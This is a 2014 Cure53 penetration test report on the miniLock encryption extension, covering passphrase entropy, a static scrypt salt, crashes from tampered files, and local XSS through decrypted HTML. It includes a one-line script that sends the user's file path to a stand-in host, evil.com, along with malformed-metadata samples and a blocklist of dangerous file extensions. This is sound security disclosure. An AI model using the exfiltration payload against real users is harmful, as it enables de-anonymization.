Pentest-Report MiniLock 07.2014

Cure53, Dr.-Ing. Mario Heiderich / Dipl. Math. Franz Antesberger / Dr. Jonas Magazinius

Index

Intro

“MiniLock is a small, portable file encryption software. The idea behind its design is that a passphrase, memorized by the user, can act as a complete, portable basis for a persistent public key identity and provide a full substitute for other key pair models, such as having the key pair stored on disk media (the PGP approach).”

From https://github.com/kaepora/miniLock

This penetration test was carried out by three testers of the Cure53 team over the period of four days. The test identified one medium-range vulnerability, arguably rather harmless under the considered scope. In addition, ten general weaknesses, minor flaws and issues that warrant security-recommendations. Tests were carried out against the miniLock browser extension itself, its locally-modified versions and the provided source-code. Over the course of the pentest, the issues were reported in an ongoing manner by Cure53 and resolved by the author. The fixes were subsequently verified as valid and working by the testing Team.

Scope

- **MiniLock Application**
  - Source-code provided by Nadim Kobeissi
  - Six tested revisions (fixes were installed after live-reporting)

Test Chronicle

- 2014/07/09 - Penetration-Test begins
- 2014/07/10 - First tests analyzing attack surface and possible sources and sinks
- 2014/07/10 - JavaScript SCA for DOMXSS sinks
- 2014/07/10 - Tests with encryption / decryption of files with malicious names
- 2014/07/10 - Basic tests for UI security
- 2014/07/10 - Tests against gaps in Chrome's download handling of insecure file types
- 2014/07/10 - Tests using tampered miniLock files
- 2014/07/10 - Tests using a rogue client with tampered IDs
- 2014/07/11 - Tests against the miniLock file parser
- 2014/07/11 - Extended tests with Unicode passphrases and filenames
- 2014/07/14 - Tests with Unicode passphrases
- 2014/07/14 - Tests attempting to narrow down a denial-of-service issue (ML-01-006)
- 2014/07/14 - Reproduction of ML-01-006 on several Chrome versions
- 2014/07/14 - Checked sources other than javascript (css, woff, img)
- 2014/07/14 - Analysis of miniLock file parsing
- 2014/07/14 - Analysis of encryption/decryption routines
- 2014/07/14 - Checked scrypt configuration
- 2014/07/15 - Checked password entropy
- 2014/07/15 - Checked nacl
- 2014/07/15 - Checked "strange" passwords
- 2014/07/15 - Further analysis of miniLock file parsing
- 2014/07/15 - Analysis of multi-user encryption/decryption
- 2014/07/16 - Checked scrypt salt validation
- 2014/07/21 - Finalization of Pentest-Report

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact. The impact factor is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier for the purpose of facilitating future follow-up correspondence.

ML-01-006 Unicode Passphrase causes Denial of Service *(Low)*

A discovery was made in regards to the use of a Unicode passphrase (more specifically - the UTF-16 Emoji characters), for which miniLock determines the key as valid and henceforth unlocks the application. However, the app actually freezes and a *RangeError* is thrown. Note that the problem appears to exclusively reproduce on Chrome 38, the Canary version at the time of testing.

Example Passphrase:
😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸

Error:
```
Uncaught RangeError: Invalid array buffer length js/lib/crypto/scrypt.js:40
```

Strangely, an attempt to enter the Unicode passphrase once causes miniLock to cease working altogether, *even* if the app is restarted. On any occasion that this particular or another user tries to enter a valid and formerly working passphrase, the same error will be thrown. Again, this problem only reproduced successfully on Chrome Canary (version 38). Chrome 35 was not affected by this problem.

The miniLock app should test whether the pass phrase chosen by the user is valid and working. While this issue is not an attack *per se* (except for causing a persistent denial-of-service), it might be used as such in the later stages of development. Consequently, it should be mitigated as soon as possible.

Note: The issue was reported during the pentest and fixed properly. The fix was achieved when a hash over the passphrase was created and then used for encryption.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

ML-01-001 Possible Uncloaking via de-crypted HTML Files *(Low)*

MiniLock showed a minor weakness with potentially harmful files that are considered harmless by Google Chrome (among them are HTML and SVG files). To illustrate the issue, one needs to track and observe what Chrome does upon finishing the download of a file. In this case, the decrypted file received and processed by miniLock is subject to investigation.

When a file is received after decryption, one can essentially face two possible scenarios:

1. Chrome 35+ main window is open, a download will show in the footer bar, users can click on the downloaded file to cause it to open.
2. Chrome 35+ main window is **not** open. Harmless downloads will automatically be placed in the *~/Downloads* folder. The files deemed harmful or dangerous Chrome fail to download. A file called *"Unconfirmed...xxx.crdownload"* will be created in the *~/Downloads* folder as there is no window to display the dialogue.

Chrome assumes that certain downloads are safe and others are not. Obviously, the determination is controlled through the use of a black-list. Extensions like *.exe*, *.scr*, *.url*, *.com*, *.pif*, *.bat* etc. are considered dangerous. Conversely, *.html*, *.xht*, *.svg,* for instance, are not. The ones belonging to the latter category are unable to directly execute arbitrary code on the system. Nonetheless, they may execute JavaScript locally. What can happen upon a single click on a decrypted file in the Chrome footer-bar is the following:

- Uncloaking the full path to the user's home directory and sending it to *evil.com*. This can serve as a de-anonymization if the user is not careful and avoids opening the HTML file locally.
- Reading of local files from the ~/Downloads folder whenever the IE is the default handler (which it is on Windows XP - 8.1 for *.svg*, *.xht* and many other extensions classifying files as capable of causing local XSS) as it is possible for a local file applied with Zone Identifier 3 to access and read any other file applied with the same Zone Identifier.

In order to succeed, one only has to create a file called *test.html* or *test.xht* (or even *dolphins.svg*), encrypt it, send it, have it be decrypted and get the user to click on the downloads bar in the footer area of Chrome. The file would contain a simple code like this:

Example Code:

```
<script>location='//evil.com/?the-username-is='+location</script>
```

After discussing the issue with Cure53, the author of the software implemented a black-list based fix that gives users additional information about the risk of a freshly decrypted file. This might aid in avoiding the Local XSS attacks or leakage of username and directory paths.

Planned Fix:

```
// Input: Filename (String)
// Output: Whether filename extension looks suspicious (Boolean)
miniLock.util.isFilenameSuspicious = function(filename) {
	var suspicious = [
		'exe', 'scr', 'url', 'com', 'pif', 'bat',
		'xht', 'htm', 'html', 'xml', 'xhtml', 'js',
		'sh', 'svg', 'gadget', 'msi', 'msp', 'hta',
		'cpl', 'msc', 'jar', 'cmd', 'vb', 'vbs',
		'jse', 'ws', 'wsf', 'wsc', 'wsh', 'ps1',
		'ps2', 'ps1xml', 'ps2xml', 'psc1', 'scf', 'lnk',
		'inf', 'reg', 'doc', 'xls', 'ppt', 'pdf',
		'swf', 'fla', 'docm', 'dotm', 'xlsm', 'xltm',
		'xlam', 'pptm', 'potm', 'ppam', 'ppsm', 'sldm',
		'dll', 'dllx', 'rar', 'zip', '7z', 'gzip',
		'gzip2', 'tar', 'fon', 'svgz', 'jnlp'
	]
	var extension = filename.toLowerCase().match(/\.\w+$/)
	if (!extension) {
		return true
	}
	extension = extension[0].substring(1)
	return (suspicious.indexOf(extension) >= 0)
}
```

The blacklist is capable of covering the gaps of the insufficient download file extension blacklist offered by Chrome. It also issues a warning to a user in case of a potentially harmful and active file's decryption occurring. Proper UI security is of high relevance for projects such as miniLock because even the HTML files and potential local XSS might harm the security properties expected in the context of this application's operations.

Note: Later versions we tested also include a new feature allowing for the decrypted file to be saved under a randomized filename upon encryption.

ML-01-002 Lack of exception handling causes Denial of Service *(Info)*

In its current state of development the miniLock extension does not provide a proper exception handling and thereby allows JavaScript errors to cause the application to freeze. The exceptions are only visible on the browser's error console if the user attempts to debug the application. It is strongly recommended to warn the user against an exception having been thrown and offer a way to restart the app.

Note: The issue was reported during the pentest and fixed by the software's author. The fix was verified by Cure53.

ML-01-003 Recipient IDs with illegal Key Size freezes the App *(Info)*

When a recipient's ID that is a valid base64-encoded string but uses an illegal key size (smaller or larger than 32 bytes) is entered, the app will display a progress bar and have it increase until the value "99" is reached. At that point the app freezes because the utilized WebWorker[1] throws an uncaught error complaining about a "bad public key size".

Example ID:
`a907cj8Pm887DkrPRbcEOOAx0G7VXTVWNDjvdliz`

It is recommended to refer to ML-01-002 and implement an error handler that is capable of catching exceptions and delivers a "way out" for the affected users.

Note: The issue was reported during the pentest and fixed by the software's author. The fix was verified by Cure53.

ML-01-004 Recommended Recipient ID Truncation *(Info)*

Whenever a user enters a valid Recipient ID followed by a blank character (whitespace, newlines), the input element holding the data gets a red border which indicates an erroneous status. It is likely that the user will never actually *type* a recipient ID (given their length and complex nature), but will rather copy&paste them from arbitrary sources. This increases the probability for trailing white-space being accidentally added, which would result in an unusable cryptext. It is recommended to trim dangling white-space to prevent this from happening.

Note: The issue was reported during the pentest and fixed by the software's author. The fix was verified by Cure53.

ML-01-005 Insufficient Entropy in generated Passphrase *(Medium)*

Upon entering the initial miniLock page the user can use a phrase generated by miniLock after clicking on the button labelled with "Help me pick a key" command. The phrase generation is done with the help of the method *Math.random()*[2]. This means that the passphrase only has as much entropy as was used when seeding *Math.random()*, with the latter being done by the browser engine. The comment in the affected file *phrase.js* claims 93 bits of entropy which has been proven false.

Affected Code:
/core/js/lib/phrase.js

```
for (var i = 0; i < n; i++) {
    word = miniLock.phrase.words[
        Math.floor(Math.random() * miniLock.phrase.words.length)
```

[1] https://developer.mozilla.org/en/docs/Web/Guide/Performance/Using_web_workers
[2] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random

```
    ]
    phrase += word
    if (i !== (n - 1)) {
        phrase += ' '
    }
}
```

Several sources state that there are about 40 bits of entropy with *Math.random()*. Furthermore, depending on the vendor and version, it may even result in a smaller value[3],[4]. This causes a significant entropy-reduction and should be avoided. It is recommended to make use of one of the existing PRNGs in the external libs, *nacl.randomBytes()* or *crypt.random_bytes()*. Both rely solely on the cryptographically strong *window.crypto. getRandomValues()*[5] and provide better cryptographic properties than the legendary *Math.random()*.

Note: The issue was reported during the pentest and fixed by the software's author. The fix was verified by Cure53. It was further noted by miniLock's author that the issue has been discovered by another independent party.

ML-01-007 Use of deprecated Functions escape() and unescape() *(Low)*

MiniLock makes use of the *nacl* and *scrypt* libraries to provide its cryptographic features. Both libraries take advantage of a trick published by Johan Sunström[6] for converting strings from UCS-2 to UTF-8 and back. The trick combines the methods *escape()* and *decodeURIComponent()* as well as *unescape()* and *encodeURIComponent()*.

It needs to be noted that the *escape()* / *unescape()* functions are meanwhile flagged as deprecated[7]. To avoid surprises with future browser releases, these functions should be replaced by a different way of a UCS-2 to UTF-8 conversion. For instance, the NPM *utf8* module[8] or some similar tools that are more future-oriented in terms of safety could be considered.

Note: The issue was discussed with the author of the software. A bug report was sent to the maintainers of the libraries.

ML-01-008 Missing *senderID* emits uncaught Error and causes App to freeze *(Info)*

A miniLock file that has been manipulated in a manner that it has its *senderID* value missing or invalid causes an uncaught TypeError ("Cannot read property 'length' of null" workers/crypto.js:26) to be thrown. Relating again to ML-01-002, this causes the app to appear as though it is decrypting the file, yet then freeze at 99%.

---

[3] http://cryptofails.blogspot.de/2013/07/password-generators-mathrandom.html
[4] https://bugzilla.mozilla.org/show_bug.cgi?id=322529
[5] https://developer.mozilla.org/en-US/docs/Web/API/window.crypto.getRandomValues
[6] http://monsur.hossa.in/2012/07/20/utf-8-in-javascript.html
[7] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features
[8] https://www.npmjs.org/package/utf8

Note: The issue was reported during the pentest and fixed by the software's author. The fix was verified by Cure53.

ML-01-009 Scrypt is used with static Salt assisting Dictionary Attacks *(Info)*

The miniLock application configures the *scrypt* library to use the string "miniLockScrypt..." as a salt. The salts are generally used to "enlarge" passwords and, like in this particular situation, are usually not considered secret. They do however have to be unique to fulfil their purpose. If a constant value is used as salt, it basically has the same effect as if there was no salt at all.

Affected Code:
src/workers/scrypt.js:

```
var keyBytes = scrypt.crypto_scrypt(
              message.data.key,
              scrypt.encode_utf8('miniLockScrypt..'),
              Math.pow(2, 17), 8, 1, 32
       )
```

The problem can be found in the architectural paradigm of miniLock: "Don't store anything!". Normally by using *scrypt* one can generate a random salt and save that salt together with the derived key. If there is no desirable way to save that salt, then there is no point in bothering to have a good and useful salt at all. Using a constant string or a copy of the passphrase or a concatenation of both does not increase security in any way. The passphrase remains the only and ultimate safeguard between the ciphertext and plaintext.

It is complicated to find a recommendable strategy to mitigate this problem. One way is to simply accept that weakness but inform the user in the small print that a strong passphrase is absolutely mandatory and the only available safeguard (see also ML-01-011 on problems with entropy calculation and false passphrase safety assumptions).

Note: The issue was reported during the pentest and ultimately marked as non-actionable following the discussion with the author.

ML-01-010 Manipulated Metadata causes App to freeze *(Info)*

The metadata of a miniLock file can be manipulated in a multitude of ways with an effect of uncaught errors being thrown. This causes the app to appear as though it is decrypting the file, yet essentially signifies freezing at the 99% point. This issue relates to ML-01-002 and ML-01-008. The salient sources of errors are: dereferencing an undefined value, base64-decoding of invalid base64 string, JSON decoding of invalid JSON string, and invalid parameter values for decryption functions. Below are examples of what can cause the errors in question.

Example 1 - manipulated hasOwnProperty property:

```
miniLockFileYes.
{"senderID":"SI6W2A9jdLQuwQSG7IDFX8J6S6Tu3jYXKXfKCmqgKzk=",
 "fileInfo":{"hasOwnProperty":null}}
miniLockEndInfo.
```

Affected Code:

src/workers/crypto.js:

```
for (var i in info.fileInfo) {
                    if (info.fileInfo.hasOwnProperty(i)) {
```

Redefining the *hasOwnProperty* attribute causes an error to be thrown when there is an attempt made to dereference it and execute as a function.

Note that in the following examples only file metadata will be listed.

Example 2 - invalid base64 encoding of nonce:

```
{"senderID":"SI6W2A9jdLQuwQSG7IDFX8J6S6Tu3jYXKXfKCmqgKzk=",
 "fileInfo":{"a":""}}
```

Affected Code:

src/workers/crypto.js:

```
actualFileInfo = nacl.box.open(
       nacl.util.decodeBase64(info.fileInfo[i]),
       nacl.util.decodeBase64(i),
       nacl.util.decodeBase64(info.senderID),
       message.mySecretKey
)
```

When the nonce is not encoded as a valid base64 string, the *nacl.util.decodeBase64* method will throw an error.

Example 3 - invalid base64 encoding of encrypted fileInfo:

```
{"senderID":"SI6W2A9jdLQuwQSG7IDFX8J6S6Tu3jYXKXfKCmqgKzk=",
 "fileInfo":{"asdf":"a"}}
```

Affected Code:

src/workers/crypto.js:

```
actualFileInfo = nacl.box.open(
       nacl.util.decodeBase64(info.fileInfo[i]),
       nacl.util.decodeBase64(i),
       nacl.util.decodeBase64(info.senderID),
       message.mySecretKey
)
```

When the encrypted *fileInfo* is not encoded as a valid base64 string, the *nacl.util.decodeBase64 method* will throw an error.

Example 4 - invalid JSON encoding of decrypted fileInfo:

Affected Code:
src/workers/crypto.js:
```
actualFileInfo = JSON.parse(
        nacl.util.encodeUTF8(actualFileInfo)
)
```

If the decrypted string does not correspond to a valid JSON after a successful decryption of *fileInfo*, the *JSON.parse* method will throw an error.

Example 5 - missing filename property after successful decryption and decoding of fileInfo:
```
{"fileNonce":"abcd", "fileKey":"abcd", "notFileName":""}
```

Affected Code:
src/workers/crypto.js:
```
actualFileInfo.fileName[
        actualFileInfo.fileName.length - 1
] === String.fromCharCode(0x00)
```

If after a successful decryption and decoding of *fileInfo* the *fileName* property is missing, a process of dereferencing it will throw an error.

Example 6 - invalid nonce vector size after successful decryption and decoding of fileInfo:
```
{"senderID":"SI6W2A9jdLQuwQSG7IDFX8J6S6Tu3jYXKXfKCmqgKzk=",
 "fileInfo":{"asdf":"asdf"}}
```

Affected Code:
src/workers/crypto.js:
```
actualFileInfo = nacl.box.open(
        nacl.util.decodeBase64(info.fileInfo[i]),
        nacl.util.decodeBase64(i),
        nacl.util.decodeBase64(info.senderID),
        message.mySecretKey
)
```

Once the parameters, such as the nonce, are of an incorrect type or size, both the *nacl.box.open* and *nacl.secretbox.open* methods will throw errors.

It is recommended to make use of a central error handling that is capable of catching those exceptions and allowing a user to react (see ML-01-002). Further, miniLock needs to strengthen the validation for anything that is user-controlled and later used as a function argument or an array index. Otherwise, the improperly formatted data might cause the application to break or even introduce attack vectors.

ML-01-011 Weak Passphrases possible using Unicode and Umlauts *(Medium)*

It was discovered that overly weak passphrases are accepted by miniLock when they absolutely should not be in regards to their simplicity and predictability - despite the use of a library to check passphrase entropy to avoid exactly that. The problem is caused by the way of measuring the entropy of Unicode and UCS-2 strings in miniLock. This task is being solved by using the *zxcvbn* library which can unfortunately be tricked by using Unicode and non-ASCII characters.

Examples:

- *'𠮷𠮷𠮷𠮷𠮷𠮷𠮷𠮷'* (8 times the 'center' symbol, which is confused by miniLock as 16 characters due to the fact, that JavaScript recognizes '𠮷' as surrogate pair[9])
- 'üäüäüäüäüäüäüäüä'
- Rejected passphrase: *'i love you please let me in'*
- Accepted passphrase *'ich liebe dich bitte lass mich rein'*
- Rejected passphrase: *'Open, Sesame'*
- Accepted passphrase: *'o p e n s e s a m e'*
- Accepted passphrase: *'Se sam öff ne dich'*

While the inner workings of the library in use were not closely analyzed, the impression was that it has weaknesses with entropy measurement for cases of Unicode and UCS-2 use. One can exercise introducing umlauts and similar chars into the mix when creating the passphrase, and, surprisingly, the entropy scores are higher for non-English vocabulary than English vocabulary[10]. A consideration should be given to reporting those issues to the maintainers of the library.

The security of the miniLock encryption is highly dependent on the quality of the passphrase. It should be kept in mind that depending on the user's language and keyboard layout, low-entropy values might be used and taken for granted as having enough entropy to satisfy the initial check. This is not a problem that is easy to solve and we recommend to put additional research resources into a proper entropy score generation.

Note: The issue was reported during the pentest and classified as non-actionable following the discussions with the author. However, bug reports are planned for the library maintainers and it was recommended to enhance the entropy check to cover a larger password list and Unicode passphrases.

[9] http://mathiasbynens.be/notes/javascript-encoding
[10] https://github.com/dropbox/zxcvbn

ML-01-012 Unicode Filenames cause erroneous Downloads *(Low)*

It was noticed that it is possible to create miniLock files that cannot be decrypted. This is due to the fact that joining the original filename with the added ".minilock" extension results in a filename exceeding the length that certain file-systems are able to process.

Filename:
😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸.😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸

Result:
😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸.😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸😸
.minilock (overlong filename, cannot be processed by filesystem)

It is recommended to truncate the overly long filenames to ascertain that the resulting file inclusive of the ".minilock" extension can still be processed by the filesystem. Otherwise a user might be running into the situation of not being able to decrypt a miniLock file easily, despite being in possession of a proper ID and passphrase.

As a side note, it might be of interest that renaming a file with a Unicode filename which is too long causes most desktop managers to freeze or crash. This is however unrelated to this application test's scope.

Conclusion

The miniLock application is meant to provide an easy way for users to encrypt files and send the cryptext over to a list of desired recipients. Upon receiving the encrypted file, the addressees need to possess the correct pass phrase to be able to decrypt the file. MiniLock is a one-purpose app offering this one particular feature and appears to be doing that as well as possible. The application achieves its goals with the least user effort, arguably having the smallest exposure of attack surface under the existing conditions.

The aforementioned attack surface is indeed comparably small and consists of the file to encrypt, the file's name, the user-provided passphrase, the encrypted file and the cryptext contents, as well as the use of potentially malicious clients creating poisoned or "leaky" files upon decryption. Cure53 was tasked to test against the application security of miniLock and evaluate its cryptographic properties and promises. Over the course of four days of manual testing, no severe errors have been spotted. The code is soundly and neatly written, well structured, minimal and therefore offers no sinks for direct exploitation. Most items listed in this report are actually recommendations, defense-in-depth approaches, or point at few small mistakes that did not have direct security implications. The only spotted vulnerability is caused by a browser change that appears to affect the libraries that miniLock uses. The libraries it applies to - *scrypt* and *nacl* - have not been part of the pentest and were thus not audited in-depth.

While the application presented itself very strong in terms of security properties (well-readable and clean code, no DOMXSS sinks, no obvious cryptographic mistakes), we strongly recommend to thrive towards an audit against *scrypt* and *nacl* - as the quality of the code and calculations noted implicitly affects miniLock and other tools employing these libraries. While the short time span of four days to check for application security problems within miniLock was not enough to cover those two libraries, all the miniLock-specific code was fully covered.

Cure53 would like to thank Nadim Kobeissi for his support and assistance during this assignment.